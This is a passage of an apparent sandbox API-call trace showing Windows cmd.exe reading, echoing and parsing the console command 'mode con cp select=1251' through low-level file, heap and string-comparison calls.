lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.731] malloc (_Size=0x107ce) returned 0x218d4490060 [0129.731] _vsnwprintf (in: _Buffer=0x218d4490060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x1ed00ff698 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0129.731] _vsnwprintf (in: _Buffer=0x218d4490086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x1ed00ff698 | out: _Buffer=">") returned 1 [0129.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.731] GetFileType (hFile=0x254) returned 0x3 [0129.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0129.731] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ed00ff688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff688*=0x14, lpOverlapped=0x0) returned 1 [0129.731] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.731] GetFileType (hFile=0x248) returned 0x3 [0129.731] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0129.732] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.732] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.732] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.733] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0129.733] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.733] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.734] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0129.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.734] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.735] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0129.735] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.735] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.735] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0129.735] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.735] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.735] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0129.735] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.735] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.735] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0129.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0129.735] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.736] GetFileType (hFile=0x248) returned 0x3 [0129.736] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.736] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.736] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.736] GetFileType (hFile=0x254) returned 0x3 [0129.736] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0129.736] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1ed00ff988, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff988*=0x18, lpOverlapped=0x0) returned 1 [0129.736] GetProcessHeap () returned 0x218d4280000 [0129.736] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x4012) returned 0x218d4288e90 [0129.736] GetProcessHeap () returned 0x218d4280000 [0129.736] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288e90) returned 1 [0129.736] _wcsicmp (_String1="mode", _String2=")") returned 68 [0129.736] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0129.736] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0129.736] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0129.736] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0129.736] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0129.736] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0129.736] GetProcessHeap () returned 0x218d4280000 [0129.736] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb0) returned 0x218d42877c0 [0129.736] GetProcessHeap () returned 0x218d4280000 [0129.736] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1a) returned 0x218d4286330 [0129.737] GetProcessHeap () returned 0x218d4280000 [0129.737] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x38) returned 0x218d4286500 [0129.737] GetConsoleOutputCP () returned 0x1b5 [0129.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0129.738] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.738] GetConsoleTitleW (in: lpConsoleTitle=0x1ed00ff7d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0129.738] malloc (_Size=0xffce) returned 0x218d44a0840 [0129.738] ??_V@YAXPEAX@Z () returned 0x218d44a0840 [0129.739] malloc (_Size=0xffce) returned 0x218d44b0820 [0129.739] ??_V@YAXPEAX@Z () returned 0x218d44b0820 [0129.739] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0129.739] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0129.739] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0129.739] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0129.740] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0129.740] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0129.740] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0129.740] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0129.740] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0129.740] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0129.740] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0129.740] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0129.740] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0129.740] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0129.740] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0129.740] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0129.740] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0129.740] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0129.740] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0129.740] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0129.740] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0129.740] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0129.740] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0129.740] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0129.740] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0129.740] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0129.740] _wcsicmp (_String1="mode", _String2="START") returned -6 [0129.740] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0129.740] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0129.740] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0129.740] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0129.740] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0129.740] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0129.740] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0129.740] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0129.740] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0129.740] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0129.740] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0129.741] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0129.741] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0129.741] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0129.741] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0129.741] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0129.741] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0129.741] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0129.741] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0129.741] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0129.741] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0129.741] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0129.741] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0129.741] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0129.741] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0129.741] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0129.741] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0129.741] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0129.741] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0129.741] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0129.741] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0129.741] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0129.741] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0129.741] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0129.741] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0129.741] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0129.741] _wcsicmp (_String1="mode", _String2="START") returned -6 [0129.741] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0129.741] 